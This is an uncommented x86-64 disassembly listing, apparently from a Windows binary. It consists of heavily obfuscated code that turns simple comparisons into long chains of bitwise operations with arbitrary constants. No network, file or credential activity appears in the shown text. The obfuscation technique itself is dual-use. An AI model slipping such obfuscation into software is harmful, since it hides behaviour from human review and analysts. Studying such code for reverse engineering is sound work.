mov r10d, ebx
xor r10d, 0xbe3e8f43
mov r14d, r11d
not r14d
mov ecx, r14d
and ecx, 0xa4e2c747
mov edx, r11d
and edx, 0x5b1d38b8
or edx, ecx
mov ebp, edx
xor ebp, r14d
and ebp, edx
and r9d, 0x70653bb3
mov ecx, r15d
and ecx, 0x8f9ac44c
or ecx, r9d
xor ecx, 0x2b78030b
and r15d, 0x5b1d38b8
or r15d, ecx
mov edx, r15d
not edx
xor ebx, 0x41c170bc
mov ecx, ebx
and ecx, 0xa4e2c747
mov r13d, r10d
and r13d, 0x5b1d38b8
or r13d, ecx
not r13d
or r13d, ebx
mov r8d, r13d
not r8d
and eax, 0x5b1d38b8
xor r12d, 0x6ca02020
or r12d, eax
mov r9d, ebp
not r9d
and r15d, 0xb7076541
mov eax, edx
and eax, 0x48f89abe
or eax, r15d
mov ecx, ebp
xor ecx, 0x702cee44
and ecx, r9d
and ebp, 0x8fd311bb
mov r15d, ecx
and r15d, ebp
xor ebp, ecx
mov edi, eax
xor edi, 0x48f89abe
xor eax, 0xc72b8b05
and eax, edi
and edx, 0x8fd311bb
or ebp, r15d
mov ecx, eax
and ecx, edx
xor edx, eax
mov r15d, r12d
not r15d
or edx, ecx
mov eax, ebp
not eax
and eax, 0x1e4fb926
and ebp, 0xe1b046d9
or ebp, eax
mov eax, edx
not eax
and eax, 0x1e4fb926
and edx, 0xe1b046d9
or edx, eax
xor edx, ebp
mov eax, r9d
and eax, edi
xor edi, r9d
or edi, eax
mov eax, edi
not eax
mov r9d, edx
not r9d
mov ecx, r9d
and ecx, 0xc4cb4a0
and edx, 0xf3b34b5f
or edx, ecx
or r9d, edi
and edi, 0xc4cb4a0
and eax, 0xf3b34b5f
or eax, edi
xor eax, edx
not r9d
or r9d, eax
mov eax, r13d
and eax, 0x9da679cf
xor r13d, 0xa587e009
and r13d, r8d
mov edx, r8d
and edx, 0x62598630
or edx, eax
mov ebp, edx
xor ebp, 0x62598630
and r12d, 0x814916e8
mov eax, r15d
and eax, 0x7eb6e917
or eax, r12d
mov ecx, eax
xor ecx, 0x7eb6e917
mov edi, ebp
and edi, 0x5a781ff6
mov esi, ecx
and esi, 0x5a781ff6
and r15d, 0xa587e009
or r15d, esi
mov esi, edi
and esi, r13d
xor r13d, edi
or r13d, esi
mov esi, r13d
not esi
and esi, r15d
not r15d
and r15d, r13d
mov r8d, dword [0x1400986a8]
xor edx, 0x9da679cf
xor eax, 0x814916e8
or r15d, esi
mov esi, edx
and esi, 0xddd1f5e
and ebp, 0xf222e0a1
or ebp, esi
or edx, eax
and eax, 0xddd1f5e
and ecx, 0xf222e0a1
or ecx, eax
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x442ff05d
and edx, 0xbbd00fa2
or edx, eax
mov eax, edx
xor eax, 0x9a800580
mov ecx, r15d
not ecx
xor edx, 0x442ff05d
mov esi, ecx
and esi, 0x255b6a3a
and r15d, 0xdaa495c5
or r15d, esi
or ecx, edx
and edx, 0x255b6a3a
and eax, 0xdaa495c5
or eax, edx
xor eax, r15d
not ecx
or ecx, eax
mov edx, ecx
not edx
mov r15d, edx
or r15d, r9d
not r9d
mov esi, r15d
not esi
and edx, 0x2e27df02
and ecx, 0xd1d820fd
or ecx, edx
xor ecx, 0x2e27df02
or ecx, r9d
mov edx, ecx
not edx
mov eax, r15d
and eax, 0x224b8010
and esi, 0xddb47fef
or esi, eax
or r15d, ecx
and ecx, 0x224b8010
and edx, 0xddb47fef
or edx, ecx
xor edx, esi
not r15d
or r15d, edx
and r10d, r14d
or r14d, ebx
not r14d
and ebx, r11d
or ebx, r10d
mov eax, r14d
and eax, ebx
xor ebx, r14d
or ebx, eax
mov eax, ebx
not eax
and eax, 0xa17a6228
and ebx, 0x5e859dd7
or ebx, eax
mov eax, ebx
xor eax, 0x1c850192
xor ebx, 0x5a0200
and eax, 0xbda561ba
and ebx, 0x425a9e45
or ebx, eax
mov r9d, ebx
xor r9d, 0x425a9e45
mov r11d, r15d
not r11d
mov ecx, ebx
xor ecx, 0xbda561ba
mov eax, r15d
xor eax, 0x42c2e5cc
and eax, r11d
mov esi, r11d
or esi, 0x42c2e5cc
mov edx, esi
not edx
mov r10d, ecx
and r10d, 0x42c2e5cc
xor ebx, 0x987b89
and ebx, r9d
mov edi, eax
not edi
mov ebp, edi
and ebp, 0x7fe244af
and eax, 0x801dbb50
or eax, ebp
or edi, esi
and esi, 0x7fe244af
and edx, 0x801d1a10
or edx, esi
xor edx, eax
not edi
or edi, edx
mov eax, r10d
and eax, ebx
xor ebx, r10d
or ebx, eax
mov eax, edi
not eax
and eax, ebx
not ebx
and ebx, edi
or ebx, eax
mov eax, r15d
and eax, 0x499f5feb
and r11d, 0xb660a014
or r11d, eax
or r15d, r9d
and r9d, 0x499f5feb
and ecx, 0xb660a014
or ecx, r9d
xor ecx, r11d
not r15d
or r15d, ecx
not r15d
mov eax, ebx
and eax, r15d
xor r15d, ebx
or r15d, eax
mov r9d, r15d
not r9d
mov ebx, r9d
and ebx, 0xbe23dee9
mov ebp, r15d
xor ebp, 0x219b594c
and ebp, r15d
mov r10d, r15d
mov eax, r9d
and eax, 0x29500800
mov ecx, r15d
and ecx, 0x80281500
or ecx, eax
xor ecx, 0x80281500
mov r12d, r15d
xor r12d, 0xa9781d00
and r12d, r15d
mov eax, ecx
and eax, r12d
xor r12d, ecx
or r12d, eax
mov eax, r12d
not eax
and eax, 0x7c45e417
and r12d, 0x83ba1be8
or r12d, eax
mov r11d, r12d
xor r11d, 0xf9de6e1c
and r11d, r15d
and r15d, 0x41dc2116
or r15d, ebx
mov eax, r15d
xor eax, 0x1180000
xor r15d, 0x20035848
or r15d, 0xde64a6b3
mov ebx, ebp
not ebx
mov edx, r15d
and edx, 0xeca2ef2d
and eax, 0x1191040
or eax, edx
or r15d, ebx
and ebx, 0xeca2ef2d
and ebp, 0x135d10d2
or ebp, ebx
xor ebp, eax
not r15d
or r15d, ebp
mov eax, r15d
not eax
and eax, 0xde64a6b3
and r15d, 0x219b594c
or r15d, eax
mov eax, r15d
not eax
and r15d, 0x2dac0969
and eax, 0xd253f696
or eax, r15d
mov r14d, eax
xor r14d, 0x2dac0969
xor eax, 0xd253f696
mov ebp, r9d
and ebp, 0x20be515e
and r10d, 0xdf41aea1
or r10d, ebp
xor r10d, 0xdf41aea1
mov ebp, r10d
xor ebp, r9d
and ebp, r10d
mov ebx, ebp
mov edi, ebp
xor edi, 0xe575e086
and edi, ebp
not ebp
and ebp, 0xb3b409a9
and ebx, 0x4c4bf656
or ebx, ebp
mov ebp, ebx
xor ebp, 0x4c4bf656
mov r10d, r14d
and r10d, 0xe575e086
mov ecx, eax
and ecx, 0x1a8a1f79
or ecx, r10d
xor ebx, 0xb3b409a9
mov edx, ebp
and edx, 0xe575e086
mov r10d, edx
and r10d, edi
xor edi, edx
or edi, r10d
mov edx, ecx
not edx
and edx, 0x3f066b4b
and ecx, 0xc0f994b4
or ecx, edx
mov edx, edi
not edx
and edx, 0x3f066b4b
and edi, 0xc0f994b4
or edi, edx
xor edi, ecx
mov ecx, eax
and ecx, 0x303d62c3
and r14d, 0xcfc29d3c
or r14d, ecx
or eax, ebx
and ebx, 0x303d62c3
and ebp, 0xcfc29d3c
or ebp, ebx
xor ebp, r14d
not eax
or eax, ebp
not eax
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x8608b991
and eax, 0x79f7466e
or eax, ecx
mov ebp, eax
xor ebp, 0x1660000
xor eax, 0x6000000
or edx, 0x5f6e4240
mov ecx, edx
not ecx
or eax, 0x80002c0b
and eax, 0xde006e4b
and ebp, 0x16e0000
or ebp, eax
and edx, 0xde006e4b
and ecx, 0x209191b4
or ecx, edx
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0xa091bdbf
and ecx, 0x5f6e4240
or ecx, eax
mov edi, ecx
not edi
mov ebp, ecx
or ebp, 0x95772ba1
mov edx, ebp
not edx
mov ebx, edi
or ebx, 0x6a88d45e
mov eax, ebx
not eax
and ebp, 0xc9e640fb
and edx, 0x22089404
or edx, ebp
and ebx, 0xc9e640fb
and eax, 0x14112b00
or eax, ebx
xor eax, edx
mov edx, eax
not edx
and edx, 0x6040ffcd
and eax, 0x9fbf0032
or eax, edx
mov edx, eax
xor edx, 0x9804025
and edi, 0x2ce3970b
xor ecx, 0xd31c68f4
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x3694ddfd
and ecx, 0xc96b2202
or ecx, ebp
mov ebp, ecx
xor ebp, 0x92a0000
xor eax, 0x262bbc98
xor ecx, 0x3694ddfd
mov ebx, eax
and ebx, 0xf655a3ca
and edx, 0x9aa5c35
or edx, ebx
or eax, ecx
and ecx, 0xf655a3ca
and ebp, 0x9aa5c35
or ebp, ecx
xor ebp, edx
not eax
or eax, ebp
mov ecx, eax
not ecx
and ecx, 0xedb7b540
and eax, 0x12484abf
or eax, ecx
mov ebp, eax
xor ebp, 0x8022d
xor eax, 0x84133040
and eax, 0x965378d2
and ebp, 0x69ac872d
or ebp, eax
mov eax, ebp
xor eax, 0x12001852
xor ebp, 0x69280220
and eax, 0x12849d5f
and ebp, 0xed7b62a0
or ebp, eax
mov edx, ebp
xor edx, 0xed7b62a0
xor r12d, 0x62191e3
and r9d, r12d
or r11d, r9d
xor r12d, r11d
and r12d, r11d
mov edi, ebp
xor edi, 0x12849d5f
mov esi, r12d
not esi
mov ebx, edi
and ebx, esi
mov eax, edi
xor eax, esi
or eax, ebx
mov ebx, eax
not ebx
and ebx, 0x9cebf434
and eax, 0x63140bcb
or eax, ebx
mov ebx, eax
xor ebx, 0x63140bcb
and edi, 0x81961160
xor ebp, 0x36eddb5c
and ebp, edx
and edx, 0x5a00a89c
or edx, edi
xor edx, 0x5a00a89c
mov edi, esi
and edi, 0xcab325f6
and r12d, 0x354cda09
or r12d, edi
mov edi, r12d
xor edi, 0x354cda09
xor r12d, 0x11259c0a
and r12d, edi
or esi, 0xdb96b9fc
mov ecx, esi
not ecx
mov edi, edx
and edi, ebp
xor ebp, edx
or ebp, edi
mov edx, r12d
not edx
mov edi, edx
and edi, 0x78d18d89
and r12d, 0x872e7276
or r12d, edi
or edx, esi
and esi, 0x78d18d89
and ecx, 0x4284202
or ecx, esi
xor ecx, r12d
not edx
or edx, ecx
mov ecx, ebp
not ecx
and ecx, edx
not edx
and edx, ebp
or edx, ecx
mov r9d, eax
xor r9d, 0x9cebf434
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xa5c68171
and edx, 0x5a397e8e
or edx, ebp
mov r10d, edx
xor r10d, 0x5a397e8e
xor eax, 0x250e0557
and eax, ebx
or ebx, 0xb9e5f163
mov esi, ebx
not esi
xor edx, 0xe3dc8fed
and edx, r10d
or ecx, 0x461a0e9c
mov edi, ecx
not edi
mov ebp, eax
not ebp
mov r11d, ebx
and r11d, 0x62d68cef
and esi, 0x4080210
or esi, r11d
or ebx, ebp
and ebp, 0x62d68cef
and eax, 0x9d297310
or eax, ebp
xor eax, esi
not ebx
or ebx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x19a18a67
and edx, 0xe65e7598
or edx, ebp
or eax, ecx
and ecx, 0x19a18a67
and edi, 0xa0447100
or edi, ecx
xor edi, edx
not eax
or eax, edi
mov ecx, ebx
not ecx
and ecx, 0xb3a12b18
and ebx, 0x4c5ed4e7
or ebx, ecx
mov ecx, eax
not ecx
and ecx, 0xb3a12b18
and eax, 0x4c5ed4e7
or eax, ecx
xor eax, ebx
mov ecx, r9d
and ecx, r10d
xor r10d, r9d
or r10d, ecx
mov ecx, r10d
not ecx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0xe60e3da8
and eax, 0x19f1c257
or eax, edx
or ebx, r10d
and r10d, 0xe60e3da8
and ecx, 0x19f1c257
or ecx, r10d
xor ecx, eax
not ebx
or ebx, ecx
mov ebp, ebx
not ebp
mov ecx, ebx
mov edx, ebx
mov eax, ebp
and eax, 0xd31c68f4
and ebx, 0x2ce3970b
or ebx, eax
not ebx
or ebx, ebp
and ebp, 0xa4048a29
and ecx, 0x11321194
or ecx, ebp
xor ecx, 0x11321194
and edx, 0x4ac96442
or edx, ecx
mov eax, edx
not eax
and eax, 0x16a5551c
and edx, 0xe95aaae3
or edx, eax
mov eax, edx
xor eax, 0x20838601
and eax, 0x2ce3970b
xor edx, 0x8f7059aa
or edx, eax
mov eax, edx
not eax
and eax, 0x50129190
and edx, 0xafed6e6f
or edx, eax
mov r9d, edx
xor r9d, 0xafed6e6f
mov esi, edx
xor esi, 0x50129190
xor edx, 0x93c2655a
mov eax, edx
and eax, esi
mov r10d, ebx
mov ecx, ebx
mov r11d, esi
and r11d, ebx
xor esi, ebx
not ebx
and edx, r9d
and r10d, 0x3c2f0b35
xor ecx, 0xc3d0f4ca
and ecx, ebx
mov edi, eax
not edi
mov ebx, edx
not ebx
mov ebp, edi
and ebp, 0x91a6026a
and eax, 0x6e59fd95
or eax, ebp
or edi, ebx
and ebx, 0x91a6026a
and edx, 0x6e59fd95
or edx, ebx
xor edx, eax
not edi
or edi, edx
mov eax, r10d
and eax, ecx
xor ecx, r10d
or ecx, eax
mov eax, edi
not eax
and eax, 0xc187a13a
and edi, 0x3e785ec5
or edi, eax
mov eax, ecx
not eax
and eax, 0xc187a13a
and ecx, 0x3e785ec5
or ecx, eax
xor ecx, edi
or esi, r11d
not esi
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov ebp, esi
mov r10d, esi
xor r10d, 0x1fc8ddc9
and r10d, esi
mov r9d, esi
mov eax, esi
mov ebx, esi
xor ebx, 0x5e55190
and ebx, esi
not esi
mov edi, esi
and edi, 0xf885888
and ebp, 0x10408541
or ebp, edi
mov ecx, ebp
xor ecx, 0x10008040
xor ebp, 0xefbf7abe
mov edx, r10d
not edx
mov edi, ebp
and edi, 0x42525799
and ecx, 0x1d888840
or ecx, edi
or ebp, edx
and edx, 0x42525799
and r10d, 0xbdada866
or r10d, edx
xor r10d, ecx
not ebp
or ebp, r10d
mov ecx, ebp
not ecx
and ecx, 0xe0372236
and ebp, 0x1fc8ddc9
or ebp, ecx
mov edi, ebp
not edi
and edi, ebp
and r9d, 0xd18e4abe
and esi, 0x2e71b541
or esi, r9d
mov ebp, esi
xor ebp, 0x41044a1a
xor esi, 0x22310400
and esi, 0xb2bb04a4
and ebp, 0x4d44fb5b
or ebp, esi
mov edx, ebp
xor edx, 0x4d44fb5b
xor ebp, 0xb2bb04a4
mov ecx, edi
not ecx
and edx, ecx
or ecx, ebp
not ecx
and ebp, edi
or ebp, edx
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov ecx, ebp
not ecx
and ecx, 0x4172a856
and ebp, 0xbe8d57a9
or ebp, ecx
mov esi, ebp
xor esi, 0xbe8d57a9
mov r9d, ebp
xor r9d, 0x4172a856
or eax, 0xfa1aae6f
mov ecx, eax
not ecx
mov edx, ebx
not edx
mov edi, eax
and edi, 0x853bcc7b
and ecx, 0xc41180
or ecx, edi
or eax, edx
and edx, 0x853bcc7b
and ebx, 0x7ac43384
or ebx, edx
xor ebx, ecx
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0xfa1aae6f
and eax, 0x5e55190
or eax, ecx
mov ecx, eax
mov ebx, eax
xor ebx, 0x689cd6b
and ebx, eax
mov r10d, eax
not r10d
xor ebp, 0xb8049ac2
and ebp, esi
mov eax, esi
or eax, 0xf9763294
mov edi, eax
not edi
or ecx, 0xf9763294
mov esi, ecx
not esi
mov edx, ebp
not edx
mov r11d, eax
and r11d, 0x6c1b5626
and edi, 0x2808949
or edi, r11d
or eax, edx
and edx, 0x6c1b5626
and ebp, 0x93e4a9d9
or ebp, edx
xor ebp, edi
not eax
or eax, ebp
mov edx, ebx
not edx
mov ebp, ecx
and ebp, 0xfe787d8
and esi, 0x84823
or esi, ebp
or ecx, edx
and edx, 0xfe787d8
and ebx, 0xf0187827
or ebx, edx
xor ebx, esi
not ecx
or ecx, ebx
mov edx, eax
not edx
and edx, 0x280f8ab1
and eax, 0xd7f0754e
or eax, edx
mov edx, ecx
not edx
and edx, 0x280f8ab1
and ecx, 0xd7f0754e
or ecx, edx
xor ecx, eax
mov eax, r9d
and eax, r10d
xor r10d, r9d
or r10d, eax
mov edx, r10d
not edx
mov eax, ecx
not eax
mov ebp, eax
and ebp, 0xe1cf1c7f
and ecx, 0x1e30e380
or ecx, ebp
or eax, r10d
and r10d, 0xe1cf1c7f
and edx, 0x1e30e380
or edx, r10d
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x7188ee6d
and ecx, eax
and eax, 0x8e771192
or eax, edx
mov edx, eax
xor edx, 0x6741092
xor eax, 0x7188ee6d
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xc80b6b0d
and edx, 0x37f494f2
or edx, ebx
or eax, ebp
and ebp, 0xc80b6b0d
and ecx, 0x37f494f2
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb78a6911
and eax, 0x487596ee
or eax, edx
xor eax, 0x487596ee
or eax, ecx
cmp eax, 0xffffffff
sete r11b
setne r15b
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r8b
mov ecx, r8d
xor cl, r9b
mov ebx, ecx
xor bl, 1
mov eax, ebx
or al, cl
mov edx, eax
xor dl, 1
mov r14d, edx
and r14b, al
xor dl, r14b
xor r14b, 1
or r14b, al
xor r14b, 1
or r14b, dl
mov edi, r14d
xor dil, 1
mov r10d, ebx
and r10b, dil
mov edx, r14d
and dl, cl
or dl, r10b
mov r10d, eax
and r10b, cl
xor al, cl
or al, r10b
xor dl, 1
mov r10d, edx
xor r10b, al
or dl, al
xor dl, 1
or dl, r10b
mov eax, edx
xor al, 1
and dl, al
mov r10d, eax
and r10b, dl
xor dl, al
or dl, r10b
xor dl, r9b
xor dl, 1
and r9b, bl
and cl, r8b
or cl, r9b
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov ecx, edx
or cl, bl
xor cl, 1
xor bl, dl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
mov r9d, ebx
or r9b, cl
mov edx, r9d
xor dl, 1
mov eax, ebx
and al, cl
xor al, 1
mov r8d, ecx
xor r8b, al
or al, cl
xor al, 1
or al, r8b
xor al, r9b
xor r9b, bl
or dl, cl
xor dl, 1
or dl, r9b
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov r9d, eax
mov r8d, eax
xor r9b, 1
mov r10d, r15d
xor r10b, r11b
mov eax, r10d
xor al, 1
mov ecx, r15d
xor cl, al
mov ebx, ecx
xor bl, 1
or al, r15b
xor al, 1
or al, cl
xor cl, al
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
or dl, al
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov esi, edx
mov ecx, r9d
or cl, r8b
mov byte [rsp + 0x24], cl
mov eax, ecx
xor al, r9b
mov byte [rsp + 0x2c], r9b
or cl, r8b
mov byte [rsp + 0x30], r8b
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
or bl, r9b
mov eax, ecx
or al, r8b
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
xor al, cl
xor al, 1
or al, dl
mov r8d, eax
xor r8b, 1
mov byte [rsp + 0x3c], sil
mov edx, esi
xor dl, 1
mov byte [rsp + 0x34], dl
mov ecx, edx
xor cl, sil
and cl, dl
and sil, dl
mov byte [rsp + 0x2b], sil
mov edx, ecx
and dl, sil
xor cl, sil
or cl, dl
mov edx, ecx
xor dl, 1
mov ebp, edx
and bpl, cl
xor dl, bpl
xor bpl, 1
or bpl, cl
xor bpl, 1
or bpl, dl
and r10b, r15b
mov ecx, r10d
xor cl, 1
or cl, r10b
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and r15b, dl
or dl, r11b
xor dl, 1
and cl, r11b
or cl, r15b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r10d, ecx
xor r10b, 1
mov edx, ecx
or dl, r10b
mov ebx, edx
xor bl, 1
and bl, cl
or cl, dl
xor cl, 1
and dl, r10b
or dl, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov byte [rsp + 0x3b], dl
mov ecx, r8d
or cl, al
xor cl, al
mov r11d, ecx
and r11b, al
mov ebx, ecx
xor bl, r11b
xor r11b, 1
xor bl, 1
or r11b, cl
xor r11b, 1
or r11b, bl
mov r10d, r14d
and r10b, dil
mov ecx, r10d
and cl, dil
xor dil, r10b
or dil, cl
mov edx, r11d
xor dl, 1
and r8b, al
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov eax, r8d
xor al, 1
mov ecx, r8d
and cl, al
xor cl, 1
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
mov r8d, ecx
xor r8b, 1
xor r14b, r10b
and r14b, r10b
mov r15d, r8d
and r15b, cl
mov r10d, r15d
xor r10b, 1
or r10b, cl
mov byte [rsp + 0x3a], dl
and cl, dl
mov ebx, r11d
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, dl
and cl, bl
mov byte [rsp + 0x2a], dil
mov esi, edi
xor sil, 1
xor r15b, r8b
xor r10b, 1
or r10b, r15b
xor r10b, dl
mov r8d, r10d
xor r8b, 1
mov ebx, ecx
xor bl, r10b
and bl, cl
and r10b, cl
xor cl, 1
and cl, r8b
mov r15d, esi
or r15b, dil
or r10b, cl
mov ecx, ebx
and cl, r10b
xor r10b, bl
mov eax, r15d
xor al, 1
or r10b, cl
mov ebx, eax
and bl, r15b
mov edi, ebx
and dil, al
xor bl, al
or al, sil
mov ecx, eax
xor cl, 1
mov r12d, eax
and r12b, cl
xor r12b, 1
mov edx, ecx
xor dl, r12b
or r12b, cl
xor r12b, 1
or r12b, dl
mov r13d, r14d
xor r13b, 1
mov edx, r13d
and dl, r14b
mov r8d, r13d
xor r8b, dl
xor dl, 1
or dl, r14b
xor dl, 1
or dl, r8b
mov r9d, r12d
xor r9b, 1
mov r8d, r9d
or r8b, r12b
mov r14d, r8d
xor r14b, 1
and cl, r8b
or r8b, al
and r14b, al
or r14b, cl
xor r8b, 1
mov eax, r8d
and al, r14b
xor r14b, r8b
or r14b, al
mov r8d, edx
xor r8b, 1
mov ecx, r8d
or cl, dl
mov eax, r13d
xor al, cl
and cl, r13b
or cl, al
xor cl, 1
mov r13d, eax
and r13b, cl
xor cl, al
or cl, r13b
xor cl, 1
mov eax, ecx
or al, r14b
xor cl, r14b
xor cl, 1
and cl, r14b
xor al, 1
mov r14d, eax
and r14b, cl
xor cl, al
or cl, r14b
mov eax, r8d
xor r8b, r9b
and al, r12b
and r9b, dl
or r9b, al
or dl, r12b
xor dl, 1
or dl, r8b
xor dl, 1
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
mov r8d, edx
xor r8b, 1
mov eax, ecx
xor al, 1
and r8b, al
or al, dl
and dl, cl
or dl, r8b
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
xor cl, 1
xor dl, 1
or dl, cl
mov r12d, r10d
xor r12b, 1
mov eax, r12d
and al, dl
xor r12b, dl
xor dl, 1
and r10b, dl
or r10b, al
xor r10b, 1
or r10b, dl
or r12b, al
xor r10b, 1
xor r12b, 1
mov eax, r10d
xor al, r12b
or r12b, r10b
xor r12b, 1
or r12b, al
xor r12b, 1
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
movzx r10d, byte [rsp + 0x3a]
mov ecx, r10d
and cl, r11b
xor cl, 1
mov eax, r11d
xor al, cl
or cl, r11b
xor cl, 1
or cl, al
mov r14d, ecx
xor r14b, 1
mov r8d, ecx
and r8b, r14b
mov r9d, r8d
xor r8b, cl
or cl, r14b
mov edx, ecx
xor dl, 1
and r11b, cl
mov eax, r10d
or cl, r10b
and dl, r10b
or dl, r11b
xor cl, 1
mov r10d, ecx
and r10b, dl
xor dl, cl
or dl, r10b
or bl, dil
movzx eax, byte [rsp + 0x2a]
mov r10d, eax
xor r10b, sil
and r10b, al
mov edi, eax
mov ecx, r10d
xor cl, 1
mov eax, r10d
and al, cl
mov r11d, eax
and r11b, r10b
xor al, r10b
or al, r11b
xor al, bl
mov ebx, r15d
and bl, cl
xor cl, r15b
or cl, bl
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
and cl, al
and al, dl
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
mov r10d, ebp
xor r10b, 1
xor al, 1
or al, dl
movzx r11d, byte [rsp + 0x3b]
mov r13d, r11d
xor r13b, 1
xor r9b, 1
or r9b, r14b
xor r9b, 1
or r9b, r8b
xor r9b, sil
mov edx, r14d
and dl, dil
xor r14b, dil
or r14b, dl
xor r14b, 1
mov edx, r9d
and dl, r14b
xor r14b, r9b
or r14b, dl
mov edx, eax
xor dl, 1
mov ebx, edx
and bl, al
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
xor bl, r14b
mov eax, edx
and al, r14b
xor dl, r14b
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, r12d
xor al, 1
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov ecx, edx
or cl, r12b
xor cl, 1
xor dl, r12b
xor dl, 1
and dl, r12b
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov r15d, edx
and dl, al
xor al, 1
xor r15b, 1
mov ecx, eax
xor cl, r15b
and cl, al
and r15b, al
or r15b, dl
mov eax, ecx
xor al, 1
xor cl, r15b
xor r15b, 1
or r15b, al
xor r15b, 1
or r15b, cl
mov eax, r10d
or al, bpl
mov r12d, eax
xor r12b, 1
mov ecx, r12d
and cl, bpl
or r12b, r10b
and r10b, al
or r10b, cl
xor al, bpl
xor r12b, 1
or r12b, al
xor r12b, 1
mov eax, r10d
and al, r12b
xor r12b, r10b
or r12b, al
mov ebp, r13d
mov ebx, r11d
or bpl, r11b
xor bpl, r13b
mov eax, ebp
and al, r13b
xor bpl, 1
mov ecx, eax
and cl, bpl
xor bpl, al
or bpl, cl
mov edx, r12d
xor dl, 1
mov r14d, ebp
xor r14b, 1
mov ecx, r14d
and cl, bpl
xor cl, 1
mov eax, ebp
xor al, cl
or cl, bpl
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, bpl
xor r10b, 1
or r10b, cl
mov eax, r11d
and r13b, r11b
mov ecx, r11d
and cl, r13b
xor r13b, r11b
or r13b, cl
xor r13b, 1
mov ecx, r13d
xor cl, r11b
or r13b, r11b
xor r13b, 1
or r13b, cl
mov r8d, edx
and r8b, r12b
mov ecx, edx
and cl, r8b
xor r8b, dl
mov byte [rsp + 0x2a], dl
or r8b, cl
mov r11d, r8d
xor r11b, 1
mov ebx, r11d
or bl, r8b
mov eax, r12d
xor al, dl
and al, r12b
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and cl, bl
or cl, al
and dl, bl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
xor r11b, r8b
or r11b, bl
mov eax, r11d
xor al, 1
and r11b, al
mov edx, eax
and dl, r11b
xor r11b, al
or r11b, dl
mov eax, ecx
xor al, 1
and al, r11b
xor r11b, 1
mov edx, ecx
xor dl, r11b
and dl, cl
and r11b, cl
mov ecx, r10d
xor cl, 1
or r11b, al
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
mov ebx, r10d
and bl, cl
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
mov r9d, ebx
xor r9b, 1
or cl, r10b
mov eax, ecx
xor al, 1
mov r10d, r9d
xor r10b, cl
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
and dl, bl
xor cl, 1
and cl, r9b
or cl, dl
or al, bl
xor al, 1
or al, r10b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r10d, r13d
xor r10b, 1
mov r8d, r13d
xor r8b, r10b
and r8b, r13b
mov edx, r10d
and dl, r13b
mov esi, r10d
xor sil, dl
xor dl, 1
or dl, r13b
or r13b, r10b
mov ecx, r13d
xor cl, 1
mov edi, r8d
xor dil, r13b
and dil, r8b
and r13b, r8b
xor r8b, 1
and r8b, cl
or r13b, r8b
xor dil, 1
xor r13b, 1
mov ecx, edi
xor cl, r13b
or r13b, dil
xor r13b, 1
or r13b, cl
xor r13b, 1
mov ecx, r13d
or cl, al
xor r13b, al
xor r13b, 1
and r13b, al
mov eax, ecx
xor al, r13b
xor r13b, 1
or r13b, cl
xor al, 1
xor r13b, 1
or r13b, al
and bl, r9b
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
xor dl, 1
or dl, sil
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and dl, bl
or dl, al
mov eax, r9d
and al, r10b
xor r9b, r10b
or r9b, al
mov eax, r9d
xor al, dl
xor dl, 1
xor al, 1
or dl, r9b
